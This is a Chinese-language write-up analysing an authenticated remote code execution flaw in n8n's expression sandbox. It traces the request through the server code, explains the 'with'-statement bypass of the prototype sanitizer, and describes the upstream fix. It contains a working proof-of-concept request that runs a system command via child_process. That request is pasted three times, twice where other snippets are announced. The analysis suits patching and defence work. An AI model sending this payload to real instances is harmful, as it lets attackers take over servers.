漏洞来源

漏洞描述

n8n 的工作流表达式求值系统存在严重的远程代码执行 (RCE) 漏洞。已认证用户在工作流配置期间提供的表达式可能会在与底层运行时隔离不足的执行上下文中进行求值。已认证的攻击者可以利用此漏洞,以 n8n 进程的权限执行任意代码。成功利用此漏洞可能导致受影响实例完全被攻陷,包括未经授权访问敏感数据、修改工作流以及执行系统级操作。

漏洞分析

漏洞入口点在packages/cli/src/server.ts

@Service()
export class Server extends AbstractServer {
	private endpointPresetCredentials: string;

	private presetCredentialsLoaded: boolean;

	private frontendService?: FrontendService;

	constructor(
		private readonly loadNodesAndCredentials: LoadNodesAndCredentials,
		private readonly postHogClient: PostHogClient,
		private readonly eventService: EventService,
		private readonly instanceSettings: InstanceSettings,
	) {
		super();

		this.testWebhooksEnabled = true;
		this.webhooksEnabled = !this.globalConfig.endpoints.disableProductionWebhooksOnMainProcess;
	}

	async start() {
		if (!this.globalConfig.endpoints.disableUi) {
			const { FrontendService } = await import('@/services/frontend.service');
			this.frontendService = Container.get(FrontendService);
		}

		this.presetCredentialsLoaded = false;

		this.endpointPresetCredentials = this.globalConfig.credentials.overwrite.endpoint;

		await super.start();
		this.logger.debug(`Server ID: ${this.instanceSettings.hostId}`);

		if (inDevelopment && process.env.N8N_DEV_RELOAD === 'true') {
			void this.loadNodesAndCredentials.setupHotReload();
		}

		this.eventService.emit('server-started');
	}

这是 n8n 的启动器,负责初始化服务和加载 UI,激活所有控制器

  • isApiEnabled():检查是否启用公共 API;
  • loadPublicApiVersions():动态加载不同版本的 API 路由(如 /v1, /v2),返回一组 Express 路由对象;
  • this.app.use(...apiRouters):将这些路由注册到主应用实例上,允许外部访问;

这里挂载/api/v1路由

workflows下的所有路由被导入并注册了

主要看一下workflowId/run这个路由

@Post('/:workflowId/run')
	@ProjectScope('workflow:execute')
	async runManually(
		req: WorkflowRequest.ManualRun,
		_res: unknown,
		@Query query: ManualRunQueryDto,
	) {
		if (!req.body.workflowData.id) {
			throw new UnexpectedError('You cannot execute a workflow without an ID');
		}

		if (req.params.workflowId !== req.body.workflowData.id) {
			throw new UnexpectedError('Workflow ID in body does not match workflow ID in URL');
		}

		if (this.license.isSharingEnabled()) {
			const workflow = this.workflowRepository.create(req.body.workflowData);

			const safeWorkflow = await this.enterpriseWorkflowService.preventTampering(
				workflow,
				workflow.id,
				req.user,
			);
			req.body.workflowData.nodes = safeWorkflow.nodes;
		}

		return await this.workflowExecutionService.executeManually(
			req.body,
			req.user,
			req.headers['push-ref'],
			query.partialExecutionVersion,
		);
	}

使用这样一个方法workflowExecutionService.executeManually来处理请求,看看这个方法

分析一下参数

const data: IWorkflowExecutionDataProcess = {
    destinationNode,           // 指定从哪个节点开始执行(用于调试/跳转)
    executionMode: 'manual',   // 标记为手动执行(区别于 webhook、cron 等)
    runData,                   // 用户传入的输入数据(如 JSON)
    pinData,                   // 节点 Pin 数据(调试用)
    pushRef,                   // 推送引用 ID(用于 Agent 分布式执行)
    startNodes,                // 启动节点列表(多个入口支持)
    workflowData,              // 完整的工作流定义(含节点、连接、参数)
    userId: user.id,           // 执行者 ID(用于权限审计)
    partialExecutionVersion,   // 是否启用部分执行(性能优化)
    dirtyNodeNames,            // 需要重新执行的节点(缓存机制)
    triggerToStartFrom,        // 从哪个触发器启动(多触发器场景)
    agentRequest,              // 是否由 Agent 发起(分布式部署)
};

后续又调用workflowRunner.run来处理data

接收多个参数:

  • data: 包含工作流定义、用户输入、执行模式等的核心上下文;
  • loadStaticData: 是否加载静态数据(如节点类型);
  • realtime: 是否实时返回结果(用于 WebSockets);
  • restartExecutionId: 重启执行时使用;
  • responsePromise: 响应承诺对象(用于异步回调);

返回 Promise<string>:即生成的 executionId。

最后使用manualExecutionService.runManually方法进行处理

首先创建一个WorkflowExecute执行器

随后又调用workflowExecute.run进行数据处理

继续跟进runNode

const context = new ExecuteContext(
			workflow,
			node,
			additionalData,
			mode,
			runExecutionData,
			runIndex,
			connectionInputData,
			inputData,
			executionData,
			closeFunctions,
			abortSignal,
			subNodeExecutionResults,
		);

这里创建了ExecuteContext,且接收包含恶意表达式的workflow

else if (nodeType.execute) {
    data =
        nodeType instanceof Node
            ? await nodeType.execute(context, subNodeExecutionResults)
            : await nodeType.execute.call(context, subNodeExecutionResults);
}
  • nodeType 是该节点的类型对象(如 HTTP、Function、Set 等);
  • context 是执行上下文(包含输入数据、表达式解析器等);
  • subNodeExecutionResults 是上游节点的输出结果;

这个 this 是由 WorkflowRunner 通过 .call(context) 动态绑定的 ExecuteContext 实例

call(context) 将 nodeType.execute 方法的 this 绑定到 context(即 ExecuteContext 实例)

当节点代码中调用 this.getNodeParameter() 时,实际调用的是 context.getNodeParameter()

ExecuteContext.getNodeParameter() 内部会调用 _getNodeParameter()

这里从节点参数获取值

returnData = workflow.expression.getParameterValue(
				// eslint-disable-next-line @typescript-eslint/no-unsafe-argument
				value,
				runExecutionData,
				runIndex,
				itemIndex,
				node.name,
				connectionInputData,
				mode,
				additionalKeys,
				executeData,
				false,
				{},
				options?.contextNode?.name,

这里调用getParameterValue触发表达式评估,其中value是恶意表达式

随后调用调用resolveSimpleParameterValue处理参数

// Execute the expression
const extendedExpression = extendSyntax(parameterValue);
const returnValue = this.renderExpression(extendedExpression, data); // ← 关键调用
if (typeof returnValue === 'function') {
    if (returnValue.name === 'DateTime')
        throw new ApplicationError('this is a DateTime, please access its methods');
    throw new ApplicationError('this is a function, please add ()');
} else if (typeof returnValue === 'string') {
    return returnValue;
} else if (returnValue !== null && typeof returnValue === 'object') {
    if (returnObjectAsString) {
        return this.convertObjectValueToString(returnValue);
    }
}
return returnValue;

执行表达式并返回

这里暴露了Object

const extendedExpression = extendSyntax(parameterValue);

  • 作用:对原始字符串进行语法扩展;
  • 支持嵌套表达式(如 {{ $ json.{{ $ json.key }} }});
  • 处理特殊字符或缺失括号;
  • 添加默认前缀(如 $ )以兼容旧版本;
  • 不执行计算,仅做预处理;

const returnValue = this.renderExpression(extendedExpression, data);

  • 调用 renderExpression() 对表达式进行真正求值;
  • 使用 AST 分析 + 沙箱机制解析并执行;
  • 返回结果可能是:
  • 字符串(如 "John")
  • 数字(如 123)
  • 对象(如 { name: "John" })
  • 函数(如 DateTime 实例)

调用evaluateExpression

这里是执行前的安全检查,然后返回evaluator

import { type ASTAfterHook, astBuilders as b, astVisit } from '@n8n/tournament';

import { ExpressionError } from './errors';
import { isSafeObjectProperty } from './utils';

export const sanitizerName = '__sanitize';
const sanitizerIdentifier = b.identifier(sanitizerName);

export const PrototypeSanitizer: ASTAfterHook = (ast, dataNode) => {
	astVisit(ast, {
		visitMemberExpression(path) {
			this.traverse(path);
			const node = path.node;
			if (!node.computed) {
				// This is static, so we're safe to error here
				if (node.property.type !== 'Identifier') {
					throw new ExpressionError(
						`Unknown property type ${node.property.type} while sanitising expression`,
					);
				}

				if (!isSafeObjectProperty(node.property.name)) {
					throw new ExpressionError(
						`Cannot access "${node.property.name}" due to security concerns`,
					);
				}
			} else if (node.property.type === 'StringLiteral' || node.property.type === 'Literal') {
				// Check any static strings against our forbidden list
				if (!isSafeObjectProperty(node.property.value as string)) {
					throw new ExpressionError(
						`Cannot access "${node.property.value as string}" due to security concerns`,
					);
				}
			} else if (!node.property.type.endsWith('Literal')) {
				// This isn't a literal value, so we need to wrap it
				path.replace(
					b.memberExpression(
						// eslint-disable-next-line @typescript-eslint/no-unsafe-argument, @typescript-eslint/no-explicit-any
						node.object as any,
						// eslint-disable-next-line @typescript-eslint/no-unsafe-argument
						b.callExpression(b.memberExpression(dataNode, sanitizerIdentifier), [
							// eslint-disable-next-line @typescript-eslint/no-explicit-any
							node.property as any,
						]),
						true,
					),
				);
			}
		},
	});
};

export const sanitizer = (value: unknown): unknown => {
	if (!isSafeObjectProperty(value as string)) {
		throw new ExpressionError(`Cannot access "${value as string}" due to security concerns`);
	}
	return value;
};

当前 PrototypeSanitizer 仅处理 MemberExpression(属性访问),但没有对with语句进行处理;同时,沙箱上下文中仍暴露了原生 Object 对象,攻击者可通过 with 改变作用域链,绕过 this 绑定限制,直接访问 Object.prototype.constructor,最终获取 Function 构造器实现 RCE

漏洞具体流程

第一步:构造恶意工作流

POST /api/v1/workflows/123/run HTTP/1.1
Authorization: Bearer <合法JWT>
Content-Type: application/json

{
  "workflowData": {
    "id": "123",
    "nodes": [{
      "name": "Set",
      "type": "n8n-nodes-base.set",
      "parameters": {
        "fields": {
          "string": [{
            "name": "output",
            "value": "{{ (function(){var constructor=123;with(function(){}){return constructor(\"return process.mainModule.require('child_process').execSync('whoami')\")()} })() }}"
          }]
        }
      }
    }],
    "connections": {}
  }
}

利用点:表达式中使用 with(function(){}) 创建新作用域,使 constructor 解析为 Object.prototype.constructor === Function。

第二步:后端路由注册与分发

  • Express 路由挂载 /api/v1;
  • WorkflowsController 注册 POST /:workflowId/run;
  • 请求被分发至 runManually() 方法。

第三步:runManually() 接收并封装恶意数据

const data = {
  executionMode: 'manual',
  workflowData: payload.workflowData, // ← 包含恶意节点
  userId: user.id,
  // ...
};

workflowData.nodes 携带恶意表达式进入执行流程。

第四步:创建工作流实例 Workflow

const workflow = new Workflow({
  nodes: data.workflowData.nodes, // ← 恶意节点注入
  nodeTypes: this.nodeTypes,
});
  • 节点参数(含 {{ ... }} 表达式)被深拷贝保留;
  • 表达式引擎 Expression 被初始化,绑定到该工作流。

第五步:调用 runManually() 启动执行

  • 创建 WorkflowExecute 执行器;
  • 调用 workflowExecute.run(workflow, ...)。

第六步:执行节点 → 触发表达式求值

  • 遍历节点,调用 nodeType.execute.call(context, ...);
  • this 被绑定为 ExecuteContext 实例;
  • 节点内部调用 this.getNodeParameter('value');
  • 实际调用 context.getNodeParameter() → _getNodeParameter()。

第七步:_getNodeParameter() 调用表达式引擎

const value = node.parameters.value; // "{{ 恶意表达式 }}"
return workflow.expression.getParameterValue(value, ...);

进入 Expression.getParameterValue()。

第八步:getParameterValue() 调用 resolveSimpleParameterValue

  • 对 parameterValue(即恶意字符串)进行求值;
  • 调用 renderExpression(extendedExpression, data)。

第九步:renderExpression() 初始化上下文并执行

  • 调用 initializeGlobalContext();
  • 关键问题:上下文中暴露了原生 Object;
  • 原型链未被切断(Object.prototype 仍可访问);

最终调用 tournamentEvaluator.execute(expression, context)。

第十步:tournamentEvaluator.execute() 执行恶意代码(RCE 触发点)

  • 使用类似 new Function('context', 'with(context){ return (...) }') 的方式执行;
  • 用户表达式中的 with(function(){}) 被允许(无 AST 检查);
  • 在 with 作用域内:
POST /api/v1/workflows/123/run HTTP/1.1
Authorization: Bearer <合法JWT>
Content-Type: application/json

{
  "workflowData": {
    "id": "123",
    "nodes": [{
      "name": "Set",
      "type": "n8n-nodes-base.set",
      "parameters": {
        "fields": {
          "string": [{
            "name": "output",
            "value": "{{ (function(){var constructor=123;with(function(){}){return constructor(\"return process.mainModule.require('child_process').execSync('whoami')\")()} })() }}"
          }]
        }
      }
    }],
    "connections": {}
  }
}
  • 动态构造函数执行:
POST /api/v1/workflows/123/run HTTP/1.1
Authorization: Bearer <合法JWT>
Content-Type: application/json

{
  "workflowData": {
    "id": "123",
    "nodes": [{
      "name": "Set",
      "type": "n8n-nodes-base.set",
      "parameters": {
        "fields": {
          "string": [{
            "name": "output",
            "value": "{{ (function(){var constructor=123;with(function(){}){return constructor(\"return process.mainModule.require('child_process').execSync('whoami')\")()} })() }}"
          }]
        }
      }
    }],
    "connections": {}
  }
}

成功执行系统命令

漏洞修复

官方修复

为两类新拦截行为提供明确的错误类型

新增 visitWithStatement 钩子,禁止 with 语句 切断作用域链篡改;新增三个 AST 访问器保护保留变量 防止内部安全机制被绕过

参考

https://github.com/n8n-io/n8n/commit/aa4d1e5825829182afa0ad5b81f602638f55fa04

https://github.com/n8n-io/n8n/tree/n8n%401.123.1/packages/workflow/src

https://nvd.nist.gov/vuln/detail/CVE-2026-1470